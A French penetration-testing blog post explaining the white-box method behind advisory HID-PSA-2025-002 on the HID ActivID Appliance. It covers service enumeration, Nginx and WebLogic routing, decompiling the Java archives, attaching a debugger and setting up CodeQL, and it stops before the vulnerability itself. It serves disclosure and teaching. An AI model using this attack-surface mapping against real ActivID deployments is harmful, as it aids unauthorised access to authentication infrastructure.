ActivID administrator account takeover : the story behind HID-PSA-2025-002

Rédigé par Vincent Herbulot, Pierre Gertner - 12/12/2025 - dans Pentest - Téléchargement

En septembre 2025, l'un de nos clients nous a demandé de nous concentrer sur un produit spécifique : l'ActivID Appliance par HID. Selon le fournisseur, ce produit est utilisé dans le monde entier pour sécuriser l'accès aux infrastructures et aux données critiques. Il prend en charge une large gamme de méthodes d'authentification, notamment l'authentification push, le code à usage unique (OTP), les informations d'identification PKI et les informations d'identification statiques. Dans cet article, nous vous présenterons la méthodologie que nous avons utilisée pour découvrir HID-PSA-2025-002, un contournement d'authentification dans l'API SOAP pouvant mener à un accès administratif sur l'application.

Vous souhaitez améliorer vos compétences ? Découvrez nos sessions de formation ! En savoir plus

Avant-propos

Cet article est volontairement détaillé pour présenter autant d'aspects méthodologiques que possible concernant l'analyse de code en boîte blanche. Si seule la partie expliquant la vulnérabilité vous intéresse, veuillez vous référer à l'avis de sécurité HID-PSA-2025-002 ou sauter directement à la section d'investigation.

Identification du produit

Notre premier objectif était d'identifier la version exacte du produit, car plusieurs versions étaient disponibles sur la page de téléchargement de HID. La seule information que notre client nous avait fournie était l'URL de l'application. À partir de là, le seul artefact de version que nous avons remarqué était l'identifiant suivant, trouvé dans le footer HTML de l'instance de notre client :

License agreement.

Cet identifiant, v080620, n'a pu être trouvé que dans la version 8.5 de leur EULA (Contrat de Licence Utilisateur Final) au format PDF, disponible au téléchargement sur leur site web :

EULA PDF version 8.5.

En suivant le guide d'installation, nous avons obtenu une instance virtualisée VMware de la solution dans sa version 8.5, nous donnant un accès root complet sur la machine.

Découverte de la surface d'attaque

Cette partie peut sembler assez ennuyeuse au premier abord, mais obtenir une bonne compréhension des routes et services exposés est une étape clé pour une analyse en boîte blanche. Dans le cas de cette recherche, nous pensons que l'analyse méticuleuse de chaque service a grandement contribué à la découverte de la vulnérabilité.

Étant donné que notre recherche se base sur la surface non authentifiée, à distance, un premier scan nmap est effectué :

$ nmap -p- -sV hid --open
PORT     STATE SERVICE  VERSION
40/tcp   open  ssh      OpenSSH 7.4 (protocol 2.0)
443/tcp  open  ssl/http nginx
1005/tcp open  ssl/http nginx
8443/tcp open  ssl/http nginx

Une fois authentifié sur la VM (Machine Virtuelle), nous avons commencé à énumérer les services en écoute :

$ ss -ntalp
State        Local Address:Port    Process
LISTEN             0.0.0.0:3000     users:(("java",pid=3038,fd=58))
LISTEN           127.0.0.1:7800     users:(("java",pid=3038,fd=55))
LISTEN           127.0.0.1:25       users:(("master",pid=1821,fd=13))
LISTEN             0.0.0.0:61626    users:(("java",pid=3446,fd=990))
LISTEN           127.0.0.1:8443     users:(("java",pid=3446,fd=1009))
LISTEN     192.168.116.128:8443     users:(("java",pid=3446,fd=1008))
LISTEN             0.0.0.0:443      users:(("nginx",pid=1435,fd=6))
LISTEN           127.0.0.1:8445     users:(("java",pid=3446,fd=1010))
LISTEN     192.168.116.128:8445     users:(("java",pid=3446,fd=1007))
LISTEN           127.0.0.1:2016     users:(("oraagent.bin",pid=2049,fd=126))
LISTEN           127.0.0.1:50403    users:(("java",pid=3038,fd=57))
LISTEN             0.0.0.0:5093     users:(("lserv",pid=1357,fd=4))
LISTEN             0.0.0.0:40       users:(("sshd",pid=1360,fd=3))
LISTEN           127.0.0.1:9002     users:(("java",pid=3446,fd=694))
LISTEN     192.168.116.128:9002     users:(("java",pid=3446,fd=693))
LISTEN             0.0.0.0:1005     users:(("nginx",pid=1435,fd=8))
LISTEN             0.0.0.0:1006     users:(("nginx",pid=1435,fd=12))
LISTEN           127.0.0.1:56367    users:(("ocssd.bin",pid=2179,fd=137))
LISTEN           127.0.0.1:1007     users:(("miniserv.pl",pid=1858,fd=4))
LISTEN             0.0.0.0:61616    users:(("java",pid=3446,fd=989))
LISTEN             0.0.0.0:1008     users:(("nginx",pid=1435,fd=10))
LISTEN     192.168.116.128:1521     users:(("tnslsnr",pid=2080,fd=16))
LISTEN           127.0.0.1:1521     users:(("tnslsnr",pid=2080,fd=7))
LISTEN             0.0.0.0:1009     users:(("nginx",pid=1435,fd=14))
LISTEN                   *:50061    users:(("ora_d000_ftress",pid=2513,fd=44))

Pour faire court, les points suivants présentent un intérêt :

  • Les processus Java qui sont en écoute sur les ports 8443, 8445, 1005 et 1006.

  • Le proxy inverse Nginx qui a pu être vu sur le port 443 lors du scan nmap.

On peut remarquer que ces processus Java n'étaient pas détectés lors de l'utilisation de nmap, cela peut s'expliquer en listant les règles de pare-feu :

$ iptables -nvL
[...]
Chain IN_public_allow (1 references)
 pkts bytes target     prot opt in     out     source               destination
15719  943K ACCEPT     tcp  --  *      *       0.0.0.0/0            0.0.0.0/0            tcp dpt:443 ctstate NEW,UNTRACKED
   17  1020 ACCEPT     tcp  --  *      *       0.0.0.0/0            0.0.0.0/0            tcp dpt:1005 ctstate NEW,UNTRACKED
    0     0 ACCEPT     tcp  --  *      *       0.0.0.0/0            0.0.0.0/0            tcp dpt:1006 ctstate NEW,UNTRACKED
    0     0 ACCEPT     udp  --  *      *       0.0.0.0/0            0.0.0.0/0            udp dpt:1812 ctstate NEW,UNTRACKED
   10   536 ACCEPT     tcp  --  *      *       0.0.0.0/0            0.0.0.0/0            tcp dpt:40 ctstate NEW,UNTRACKED
    0     0 ACCEPT     all  --  *      *       0.0.0.0/0            0.0.0.0/0            ctstate NEW,UNTRACKED mark match 0x64
    0     0 ACCEPT     all  --  *      *       0.0.0.0/0            0.0.0.0/0 ctstate NEW,UNTRACKED mark match 0x65

Pour le protocole TCP, seuls les ports 40, 443 (HTTPS), 1005 et 1006 sont autorisés à être atteints.

Étant donné que le port 443 est ouvert sur internet, commençons par comprendre comment le proxy Nginx est configuré.

Investigation du service Nginx

L'analyse de la configuration Nginx commence par la lecture du fichier /etc/nginx :

user  nginx;
worker_processes  2;

http {
   include /etc/nginx/conf.d/*.conf;
}

Dans notre cas, ce fichier de configuration principal inclut uniquement tout autre fichier de configuration présent dans le dossier /etc/nginx/conf.d/ :

$ ls -l /etc/nginx/conf.d/*.conf
-rwx------ 1 root root 2005 Jun 20  2017 /etc/nginx/conf.d/default.conf
-rw-r--r-- 1 root root  652 Dec 18  2020 /etc/nginx/conf.d/web_activid.conf

Le fichier d'intérêt est web_activid.conf⁣ :

upstream weblogic8445 {
        keepalive 30;
        server 127.0.0.1:8445;
}

upstream weblogic8443 {
        keepalive 30;
        server 127.0.0.1:8443;
}

upstream webmin {
    server 127.0.0.1:1007;
}

include /etc/nginx/include/TLS1.conf;
include /etc/nginx/include/TLS2.conf;
include /etc/nginx/include/TLS3.conf;
include /etc/nginx/include/MTLS1.conf;
include /etc/nginx/include/MTLS2.conf;

Deux déclarations d'upstream sont faites : weblogic8443 et weblogic8445, pointant respectivement vers des services HTTP sur les ports 8445 et 8443 de localhost. Les upstreams sont utilisés pour définir des serveurs qui peuvent ensuite être référencés dans l'ensemble de la configuration du serveur Nginx. Après cela, d'autres fichiers de configuration sont inclus, qui pourraient définir des services TLS et des services TLS avec authentification mutuelle, selon leur nommage.

Le fichier /etc/nginx/include/TLS1.conf est le suivant :

server {

        listen 443 ssl ;
        listen [::]:443 ssl ;
        ssl_verify_client off;
        # ...
        set $upstream weblogic8445;
        # ...
        include /etc/nginx/include/app/TLS1/*.conf;

}

En ce qui concerne les autres fichiers de configuration TLS2.conf, TLS3.conf, MTL3.conf et MTLS2.conf, ceux-ci ne seront pas explorés, car ils font référence à des services qui ne sont pas accessibles depuis internet, ou qui nécessitent une authentification mutuelle à l'aide d'un certificat client.

Pour revenir à la configuration TLS1, ici, un serveur écoutant sur le port 443 est déclaré, il définit une variable $upsteam à weblogic8445, et certaines configurations de serveur situées dans /etc/nginx/include/app/TLS1 sont incluses :

$ ls -l /etc/nginx/include/app/TLS1
total 0
lrwxrwxrwx 1 root root 48 Sep  2 17:11 AuthenticationPortal.conf -> /etc/nginx/include/app/AuthenticationPortal.conf
lrwxrwxrwx 1 root root 39 Sep  2 17:11 HealthCheck.conf -> /etc/nginx/include/app/HealthCheck.conf
lrwxrwxrwx 1 root root 45 Sep  2 17:11 ManagementConsole.conf -> /etc/nginx/include/app/ManagementConsole.conf
lrwxrwxrwx 1 root root 32 Sep  2 17:11 Root.conf -> /etc/nginx/include/app/Root.conf
lrwxrwxrwx 1 root root 35 Sep  2 17:11 SCIMAPI.conf -> /etc/nginx/include/app/SCIMAPI.conf
lrwxrwxrwx 1 root root 45 Sep  2 17:11 SelfServicePortal.conf -> /etc/nginx/include/app/SelfServicePortal.conf
lrwxrwxrwx 1 root root 35 Sep  2 17:11 SoapAPI.conf -> /etc/nginx/include/app/SoapAPI.conf

Ces fichiers sont tous des liens symboliques vers leur fichiers équivalents dans /etc/nginx/include/app/. Par exemple, le fichier AuthenticationPortal.conf :

location /idp/ {
        proxy_pass https://$upstream;
}

# OpenID
location ~ /idp/[^/]+/authn/ {
        proxy_pass https://$upstream;
        include /etc/nginx/include/openiderrorhandling.conf;
}

De manière similaire, le fichier SoapAPI.conf :

location ^~ /4TRESS/ {
        proxy_pass https://$upstream;
        limit_except POST {
                deny all;
        }
        if ($request_uri ~* "(?:wsdl|xsd)$") {
                return 404;
        }
        include /etc/nginx/include/soaperrorhandling.conf;
}

location ^~ /ac-iasp-backend-jaxws/ {
        proxy_pass https://$upstream;
        limit_except POST {
                deny all;
        }
        if ($request_uri ~* "(?:wsdl|xsd)$") {
                return 404;
        }
        include /etc/nginx/include/soaperrorhandling.conf;
}

Nous pouvons observer que ces fichiers de configuration suivent la même logique basée sur une directive location. Par exemple pour /idp/, ils re-routent la requête HTTP vers un serveur défini par une variable $upstream. Cette variable a été définie précédemment, en l'occurrence comme weblogic8445, qui pointe vers un serveur HTTP hébergé sur le port 8445 de localhost !

Après avoir extrait les chemins et les destinations, le routage suivant peut être observé :

HID Architecture v1.

Investigation des services Java

Lors de l'énumération des processus, le port 8445 était bien répertorié comme un processus Java. Les informations complètes sur ce processus sont récupérées comme suit :

$ lsof -i :8445
COMMAND  PID   USER   FD   TYPE DEVICE SIZE/OFF NODE NAME
java    3301 ftuser 1005u  IPv4  50538      0t0  TCP hid:copy (LISTEN)

$ ps -fwwp 3301
UID         PID   PPID  C STIME TTY          TIME CMD
ftuser     3301   3247  0 14:19 ?        00:02:29 /usr/java/default/bin/java -server -Xms2048m -Xmx2048m -Dweblogic.Name=ActivIDServer -Djava.security.policy=/opt/hid/weblogic/product/Oracle_Home/wlserver/server/lib/weblogic.policy -Dweblogic.ProductionModeEnabled=true -Djava.system.class.loader=com.oracle.classloader.weblogic.LaunchClassLoader -javaagent:/opt/hid/weblogic/product/Oracle_Home/wlserver/server/lib/debugpatch-agent.jar -da -Dwls.home=/opt/hid/weblogic/product/Oracle_Home/wlserver/server -Dweblogic.home=/opt/hid/weblogic/product/Oracle_Home/wlserver/server -Djavax.net.ssl.trustStorePassword=changeit -Djavax.net.ssl.trustStore=/opt/hid/weblogic/activid/stores/truststore.jks -Djavax.net.ssl.trustStoreType=JKS -DPWB_CONFIG_FILE=/usr/local/activid/ActivID_AS/config/passphraseObfuscator.properties -Djava.net.preferIPv4Stack=true -Dactivid.home.dir=/usr/local/activid -Djava.awt.headless=true -Djava.library.path=/usr/local/activid/ActivID_AS/lib:/usr/local/lib:/usr/lib:: -Duser.domain=/opt/hid/weblogic/config/activid_domain -Dweblogic.Name=ActivIDServer -Dweblogic.security.SSL.minimumProtocolVersion=TLSv1.2 -Djava.awt.headless=true -Dactivid.enable.monitoring.servlet=true -Dhttps.protocols=TLSv1,TLSv1.1,TLSv1.2 -Dhttps.cipherSuites=TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384,TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384,TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256,TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256,TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384,TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256,TLS_DHE_RSA_WITH_AES_256_CBC_SHA,TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA,TLS_DHE_RSA_WITH_AES_128_CBC_SHA -Dweblogic.Stdout=/opt/hid/weblogic/activid/logs/weblogicStdout.log -Dweblogic.Stderr=/opt/hid/weblogic/activid/logs/weblogicStderr.log -Doracle.dms.context=OFF -DUseSunHttpHandler=true -Djava.security.auth.login.config=/opt/hid/weblogic/config/activid_domain/jaas.conf -Djava.security.egd=file:/dev/./urandom -Dweblogic.security.allowCryptoJDefaultPRNG=true -Djava.security.manager -Dweblogic.MaxMessageSize=41943040 weblogic.Server

Pour résumer, cette commande Java :

  • Lance une instance du serveur web WebLogic via la classe weblogic.Server
  • Définit certaines de ses propriétés et fonctionnalités (stdin, stdout, utilisation de la mémoire, suites de chiffrement, etc.)
  • Configure un domaine situé à /opt/hid/weblogic/config/activid_domain.
  • Configure certaines variables spécifiques aux applications, par exemple activid.enable.monitoring.servlet

Pour WebLogic, un domaine n'est rien de moins qu'un dossier contenant toutes les ressources nécessaires pour instancier une ou plusieurs applications Java. Dans un tel dossier, selon la documentation, il devrait y avoir un fichier config.xml au sein d'un dossier config :

$ ls -lah /opt/hid/weblogic/config/activid_domain/config/config.xml
-rw-rw---- 1 ftadmin ftgroup 12K Sep  2 17:15 /opt/hid/weblogic/config/activid_domain/config/config.xml

Ce fichier XML contient la liste de toutes les applications Java qui ont été lancées au sein du domaine, ainsi que d'autres paramètres (port d'écoute, format de journalisation, etc.). Ces applications peuvent, par exemple, être déployées en tant que :

  • Un WAR (Web Application aRchive) : un fichier d'archive qui contient une seule application web Java : fichiers HTML statiques, logique métier au sein de Servlets, fichiers JSP, librairies Java (extension jar), etc. Une telle application est configurée par un fichier de configuration, web.xml, situé à l'intérieur du fichier /WEB-INF/web.config, une fois le fichier .war extrait.

  • Un EAR (Enterprise Application aRchive) : un fichier d'archive contenant un ou plusieurs fichiers WAR à déployer, ou d'autres fonctionnalités Java telles que les EJBs (Enterprise Java Beans). Ce format est utilisé lorsqu'il est nécessaire de partager du code entre des applications, ou même simplement de regrouper un déploiement. Une telle application est configurée par son fichier de configuration /WEB-INF/application.xml, une fois le fichier .ear extrait.

Dans notre cas, la configuration est la suivante :

<server>
    <name>ActivIDServer</name>
    <ssl>
      <name>ActivIDServer</name>
          <listen-port>8445</listen-port>
    </ssl>
  <!-- ... -->
  <app-deployment>
    <name>4TRESS-EAR</name>
    <module-type>ear</module-type>
<source-path>/opt/hid/weblogic/product/Oracle_Home/user_projects/applications/activid_domain/activid-authentication-services-weblogic.ear</source-path>
  </app-deployment>
  <app-deployment>
    <name>ACTIVID-MC</name>
    <module-type>war</module-type> <source-path>/opt/hid/weblogic/product/Oracle_Home/user_projects/applications/activid_domain/activid-management-console-weblogic.war</source-path>
  </app-deployment>
  <app-deployment>
    <name>ACTIVID-SSP</name>
    <module-type>war</module-type> <source-path>/opt/hid/weblogic/product/Oracle_Home/user_projects/applications/activid_domain/activid-self-service-portal-weblogic.war</source-path>
</app-deployment>

L'analyse de ce fichier confirme que l'application Java est bien à l'écoute sur le port 8445, et surtout donne le chemin d'accès aux fichiers EAR et WAR déployés, qui contiennent le code Java exécuté par l'application.

HID Architecture v2.

Architecture d'une application web Java

Le format EAR

Avant d'entrer dans le code Java, comprenons comment fonctionnent les applications Java. Pour cela, nous allons examiner l'architecture de activid-authentication-services-weblogic.ear :

$ unzip activid-authentication-services-weblogic.ear -d activid-authentication-services-weblogic
$ tree ./activid-authentication-services-weblogic/
./activid-authentication-services-weblogic
├── ac-4tress-core.jar
├── ac-4tress-scim-configuration.war
├── ac-4tress-scim.war
├── ac-iasp-backend.jar
├── activid-authentication-portal-weblogic.war
├── activid-health-check.war
├── lib
│   ├── ac-4tadap-samlproc.jar
│   ├── ac-4tadap-spi.jar
│   ├── ac-4tcore-api.jar
 ...
│   ├── commons-discovery-0.5.jar
│   ├── commons-fileupload-1.3.3.jar
│   └── xmlsec-2.2.0.jar
└── META-INF
    ├── application.xml
    ├── jboss-deployment-structure.xml
    ├── jboss-permissions.xml
    ├── MANIFEST.MF
    ├── was.policy
    └── weblogic-application.xml

Lorsque vous dézippez un fichier EAR, vous visualisez une application d'entreprise complète packagée sous forme de multiples modules. Les fichiers .war sont les applications web (endpoints REST, interfaces utilisateur, servlets), tandis que les fichiers .jar comme ac-4tress-core.jar et ac-iasp-backend.jar sont des modules EJB qui fournissent les services backend utilisés par ces applications web.

Le répertoire lib/ contient les librairies partagées qui sont visibles par chaque module de l'EAR, permettant de centraliser le code commun au lieu de le dupliquer. Le répertoire META-INF/ contient les descripteurs de déploiement : weblogic-application.xml pour la configuration spécifique à WebLogic, divers descripteurs de fournisseurs pour d'autres conteneurs, et surtout application.xml, qui définit la structure de l'EAR en listant chaque module et en indiquant au serveur d'applications comment les déployer. Ce fichier est le suivant :

<application>
  <display-name>ActivID Authentication Services</display-name>
  <application-name>4TRESS-EAR</application-name>
  <initialize-in-order>true</initialize-in-order>
  <module>
    <ejb>ac-4tress-core.jar</ejb>
  </module>
  <module>
    <ejb>ac-iasp-backend.jar</ejb>
  </module>
  <module>   
    <web>     
      <web-uri>activid-health-check.war</web-uri>
      <context-root>AIHealthCheck</context-root>
    </web>
  </module>
   <module>   
    <web>     
      <web-uri>ac-4tress-scim.war</web-uri>
      <context-root>scim</context-root>
    </web>
  </module>
   <module>   
    <web>     
      <web-uri>ac-4tress-scim-configuration.war</web-uri>
      <context-root>configuration</context-root>
    </web>
  </module>  
  <module>
    <web>
      <web-uri>activid-authentication-portal-weblogic.war</web-uri>
      <context-root>idp</context-root>
    </web>
  </module>
</application>

Ici, nous trouvons plusieurs modules web, tels que l'application web activid-authentication-portal-weblogic.war. L'élément context-root indique le point de départ dans l'URL, qui est ici idp. Par conséquent, toute requête HTTP de la forme http://hid/idp/ sera transmise au WAR associé par WebLogic : activid-authentication-portal-weblogic.war.

Après avoir examiné ce XML, notre compréhension de l'application et de son architecture est désormais la suivante :

HID Architecture v3.

Le format WAR 

Concernant le format WAR, nous prendrons l'exemple de activID-authentication-portal-weblogic.war :

$ mkdir activid-authentication-portal-weblogic
$ cd activid-authentication-portal-weblogic                                                                                                                                                                                                                                                                                  $ unzip ../activid-authentication-portal-weblogic.war
[...]
$ tree .
.
├── about.xhtml
├── auth
│   ├── actions-body.xhtml
│ [...]
│   └── reset-password.xhtml├── authn
│   ├── login.xhtml
│   └── token.xhtml
├── binding
│   ├── login-artifact.xhtml
│ [...]
│   ├── nameid-redirect.xhtml
│   └── single-logout-post.xhtml
├── common
│   ├── applet
│   │   └── applet.xhtml
│   ├── error.xhtml
│   └── required.xhtml
│ [...]
├── index.html
├── license.xhtml
├── META-INF
│   ├── MANIFEST.MF
│   └── was.policy
├── nocookie.xhtml
├── resources
│   ├── csrfguard.js
│   ├── css
│   │   └── theme.css
│   └── js
│       ├── base64url-arraybuffer.js
│       └── webauthn.js
├── timeout.xhtml
└── WEB-INF
    ├── beans.xml
    ├── ejb-jar.xml
    ├── jboss-web.xml
    ├── lib
    │   ├── ac-iasp-frontend.jar
    │   ├── ac-iasp-frontend-jaxws.jar
    │   ├── ac-inputval-esapi.jar
    │   ├── ac-oauth20sdk.jar
    │   ├── ai-4tress-samlidp.jar
    │   ├── commons-lang3-3.7.jar
    │   ├── csrfguard.jar
    │   ├── esapi-2.1.0.1.jar
    │   ├── lang-tag-1.4.3.jar
    │   ├── oauth2-oidc-sdk-5.63.jar
    │   └── primefaces-6.2.jar
    ├── weblogic-ejb-jar.xml
    ├── weblogic.xml
    └── web.xml

Nous commençons enfin à voir des fichiers liés aux applications web, comme des fichiers HTML (xhtml et html) qui affichent l'interface utilisateur. Par exemple, naviguer vers la page https://hid/idp/common/error.xhtml affiche :

Page d'erreur.

Cette page correspond correctement au fichier activID-authentication-portal-weblogic/common/error.xhtml que nous venons d'extraire du WAR.

Dans l'arborescence des fichiers, le répertoire WEB-INF se distingue. Il contient les fichiers JAR pour toutes les dépendances locales à l'application, telles que les classes qui vont gérer les actions déclenchées par les fichiers xhtml ou les requêtes ciblant des Servlets Java web exposés. Les Servlets Java sont des classes qui exposent des méthodes accessibles via HTTP, le fondement des applications web Java.

Tandis que le déclenchement d'un fichier xhtml est direct (puisqu'il suffit de connaître le chemin du fichier et la configuration du module Java Faces), en ce qui concerne les Servlets, nous devons d'abord examiner le fichier web.xml pour comprendre ce qui se passe.

Ce fichier contient beaucoup d'informations pour cartographier la surface d'attaque, car il définit :

  • Les Servlets, spécifiés dans les balises <servlet>, associés à leur classe Java, ainsi que leur URL définie dans les balises <servlet-mapping>.

  • Les Filtres (balises <filter>) qui sont appliqués (à comprendre comme des middlewares) avant (requête HTTP) et après (réponse HTTP) les actions du servlet, ainsi que les URL pour lesquelles ils s'appliquent (balises <filter-mapping>).

  • L'instanciation des classes et des paramètres.

Disséquons celui issu du WAR activID-authentication-portal-weblogic (certaines parties sont tronquées pour plus de clarté) :

$ cat activid-authentication-portal-weblogic/WEB-INF/web.xml
<?xml version="1.0" encoding="UTF-8"?>
<web-app>
	<display-name>ActivID Authentication Portal</display-name>
   	<servlet>
		<servlet-name>Faces Servlet</servlet-name>
		<servlet-class>javax.faces.webapp.FacesServlet</servlet-class>
		<load-on-startup>1</load-on-startup>
	</servlet>
	<servlet-mapping>
		<servlet-name>Faces Servlet</servlet-name>
		<url-pattern>*.xhtml</url-pattern>
	</servlet-mapping>
   <!-- ... other servlets are declared -->
	<servlet>
		<description></description>
		<display-name>SamlArtResolverServlet</display-name>
		<servlet-name>SamlArtResolverServlet</servlet-name>
		<servlet-class>com.actividentity.idp.servlet.SamlArtResolverServlet</servlet-class>
	</servlet>
	<servlet-mapping>
		<servlet-name>SamlArtResolverServlet</servlet-name>
		<url-pattern>/binding/artifact-resolution</url-pattern>
	</servlet-mapping>
	<filter>
		<filter-name>ProtocolFilter</filter-name>
		<filter-class>javax.faces.webapp.FacesServlet</filter-class>
	</filter>
   <!-- ... other filters are declared -->
	<filter>
		<filter-name>SecurityWrapper</filter-name>
		<filter-class>com.hidglobal.ia.security.inputval.esapi.SecurityWrapper</filter-class>
	</filter>
	<filter-mapping>
		<filter-name>ProtocolFilter</filter-name>
		<url-pattern>/*</url-pattern>
	</filter-mapping>
   <!-- ... other filter mappings are declared -->
	<filter-mapping>
		<filter-name>Security Filter</filter-name>
		<url-pattern>/*</url-pattern>
		<dispatcher>REQUEST</dispatcher>
		<dispatcher>FORWARD</dispatcher> 
		<dispatcher>ERROR</dispatcher>
	</filter-mapping>
   <!-- ... -->
</web-app>

Ici, plusieurs Servlets sont définis. Par exemple, toute requête de la forme /idp/binding/artifact-resolution sera transmise au servlet com.actividentity.idp.servlet.SamlArtResolverServlet, car il est référencé dans le mapping. De la même manière, toute URL correspondant à /idp/*.xhtml sera transmise au servlet javax.faces.webapp.FacesServlet.

Cependant, avant d'atteindre ces classes, la requête HTTP passera par la liste de filtres déclarés, si ceux-ci correspondent au filter-mapping. Dans cet exemple, toute requête (/*) passera par le ProtocolFilter, puis par le Security Filter, dont le code est respectivement déclaré dans les classes javax.faces.webapp.FacesServlet et com.hidglobal.ia.security.inputval.esapi.SecurityWrapper.

Enfin, pour trouver quelle librairie Java (quel fichier JAR), déclare les classes identifiées, une simple commande grep suffit. Par exemple, avec com.actividentity.idp.servlet.SamlArtResolverServlet :

$ cd activid-authentication-portal-weblogic/WEB-INF/lib/
$ rg -al 'com.actividentity.idp.servlet.SamlArtResolverServlet'
ai-4tress-samlidp.jar
$ unzip -l ai-4tress-samlidp.jar
[...]
2961  2020-12-18 17:10 com/actividentity/idp/servlet/SamlArtResolverServlet.class

Maintenant que nous comprenons comment le fichier web.xml permet de mapper une URL à une classe Java, notre compréhension est désormais la suivante (notez que nous ne détaillons que partiellement la structure du WAR activid-authentication-portal-weblogic précédent) :

Architecture HID v4.

Décompilation 101

À ce stade, nous sommes désormais en mesure de comprendre le routage depuis Nginx jusqu'à un servlet spécifique, et donc la classe Java responsable de la logique métier. Cependant, nous devons maintenant être capables de lire le code Java afin d'identifier d'éventuelles vulnérabilités. C'est là qu'intervient la décompilation.

Plusieurs outils peuvent être utilisés pour décompiler le bytecode Java. Au cours de nos recherches, nous avons utilisé vineflower, un décompilateur Java moderne basé sur le décompilateur Fernflower de JetBrains.

Pour la décompilation, nous allons cibler les fichiers JAR EJB, ainsi que tous les fichiers JAR situés dans le répertoire lib du fichier WAR extrait :

$ ls -l
-rw-r--r-- 1 user user 3203575 Nov 17 16:08 ac-4tress-core.jar
-rw-r--r-- 1 user user  125721 Nov 17 16:08 ac-iasp-backend.jar
-rw-r--r-- 1 user user   39182 Nov 17 16:06 ac-iasp-frontend.jar
-rw-r--r-- 1 user user 1127763 Nov 17 16:06 ac-iasp-frontend-jaxws.jar
-rw-r--r-- 1 user user   60809 Nov 17 16:06 ac-inputval-esapi.jar
-rw-r--r-- 1 user user   39105 Nov 17 16:06 ac-oauth20sdk.jar
-rw-r--r-- 1 user user  434327 Nov 17 16:06 ai-4tress-samlidp.jar
-rw-r--r-- 1 user user  499634 Nov 17 16:06 commons-lang3-3.7.jar
-rw-r--r-- 1 user user  156911 Nov 17 16:06 csrfguard.jar
-rw-r--r-- 1 user user  395859 Nov 17 16:06 esapi-2.1.0.1.jar
-rw-r--r-- 1 user user   10621 Nov 17 16:06 lang-tag-1.4.3.jar
-rw-r--r-- 1 user user  418019 Nov 17 16:06 oauth2-oidc-sdk-5.63.jar
-rw-r--r-- 1 user user 4271042 Nov 17 16:06 primefaces-6.2.jar

$ fdfind '\.jar$' | parallel java -jar ~/tools/vineflower.jar {} ./out/
[...]
INFO:  Decompiling class com/actividentity/service/iasp/frontend/wallet/jaxws/WalletService
INFO:  ... done
INFO:  Decompiling class com/actividentity/service/iasp/frontend/wallet/jaxws/package-info
[...]
INFO:  ... done

Enfin, en utilisant un IDE tel que VSCode, le code Java de SamlArtResolverServlet peut par exemple être lu :

Decompilation.

Mise en place du debug

Maintenant que nous avons clarifié la surface d'attaque et que nous sommes capables de lire le code Java, nous souhaitons ajouter un stub de débogage pour pouvoir définir des points d'arrêts depuis notre IDE favori pour une analyse plus poussée.

L'inspection des processus a révélé que notre application Java a été lancée depuis un processus dont le PID était 3315 :

$ ps -fwwp 3315
UID         PID   PPID  C STIME TTY          TIME CMD
ftuser     3315      1  0 02:40 ?        00:00:00 /bin/sh /opt/hid/weblogic/config/activid_domain/bin/startWebLogic.sh
$ cat /opt/hid/weblogic/config/activid_domain/bin/startWebLogic.sh
[...]
DOMAIN_HOME="/opt/hid/weblogic/config/activid_domain"
. ${DOMAIN_HOME}/bin/setDomainEnv.sh $*
SAVE_JAVA_OPTIONS="${JAVA_OPTIONS}"
[...]
${JAVA_HOME}/bin/java ${JAVA_VM} ${MEM_ARGS} -Dweblogic.Name=${SERVER_NAME} -Djava.security.policy=${WLS_POLICY_FILE} ${JAVA_OPTIONS} ${PROXY_SETTINGS} ${SERVER_CLASS}  >"${WLS_REDIRECT_LOG}" 2>&1

Ce script bash startWebLogic.sh définit des variables d'environnement et des options qui sont ensuite transmises à la commande java. Nous pouvons donc détourner ce script afin d'ajouter un stub de débogage sur notre serveur WebLogic :

JAVA_OPTIONS="${SAVE_JAVA_OPTIONS} -agentlib:jdwp=transport=dt_socket,server=y,address=5005,suspend=n"

En relançant le serveur web, nous pouvons confirmer que le port de notre JDWP est bien en écoute :

$ reboot
$ ss -untalp | grep 5005
tcp    LISTEN  0       1                   0.0.0.0:5005           0.0.0.0:*      users:(("java",pid=3446,fd=628)

Nous avons également configuré notre IDE pour s'attacher à la JVM distante :

Attach JDWP.

Rapide analyse with CodeQL

Avant de procéder à une revue manuelle approfondie, nous passons généralement le code à un outil SAST (Static Application Security Testing). Nous apprécions particulièrement CodeQL pour le code source Java, car il est gratuit, complet et bien maintenu par la communauté. Il permet d'écrire des requêtes dans un langage basé sur la logique pour trouver des schémas précis : chemins de désérialisation non sécurisés, concaténation de chaînes dangereuses dans du SQL, ou tout autre élément qui suit un modèle structurel dans le code. Si vous souhaitez plus de détails sur l'écriture de vos propres requêtes, n'hésitez pas à consulter la série complète "CodeQL Zero To Hero" sur le blog de CodeQL, ou l'excellent article de notre expert Hugo Vincent sur la découverte d'un gadget de désérialisation JNDI dans Wildfly à l'aide de CodeQL.

Création de la base de données

La première étape pour utiliser CodeQL sur un code source donné est de construire une base de données. Cette base de données contiendra des données interrogeables extraites de votre base de code. Plus précisément, elle contiendra une représentation complète et hiérarchique du code, y compris une représentation de l'AST (arbre syntaxique abstrait), du DFG (graphe de flux de données) et du CFG (graphe de flux de contrôle). Pour les langages compilés, l'exécution d'une analyse SAST implique le plus souvent de compiler le projet en utilisant le code source.

Cela pourrait être problématique pour nous, car nous ne disposons pas du code source, mais uniquement d'une version décompilée qui a été extraite des archives de l'application identifiée, et qui ne sera très probablement pas recompilable.

Cependant, en juin 2025, CodeQL a introduit une nouvelle fonctionnalité révolutionnaire appelée build-mode none. L'option build-mode none peut être utilisée pour créer des bases de données sans avoir à compiler le code source (le support est actuellement limité à C/C++, C#, Java et Rust).

Une fois que nous avons réussi à extraire les sources de l'application, nous avons créé une base de données CodeQL en utilisant la commande suivante :

$ codeql database create ~/codeql/databases/activid-authentication-services-weblogic-8.5 --language java --build-mode none -s activid-authentication-services-weblogic_vineflower/

Note : Lorsque vous travaillez sur de gros projets, il est généralement judicieux de restreindre l'analyse aux bibliothèques personnalisées et au code source de votre application. Pour ce faire, il suffit d'éviter de décompiler les bibliothèques tierces avant de créer votre base de données.

Lancer l'analyse

L'étape suivante consiste à exécuter les requêtes CodeQL sur notre base de données fraîchement construite.

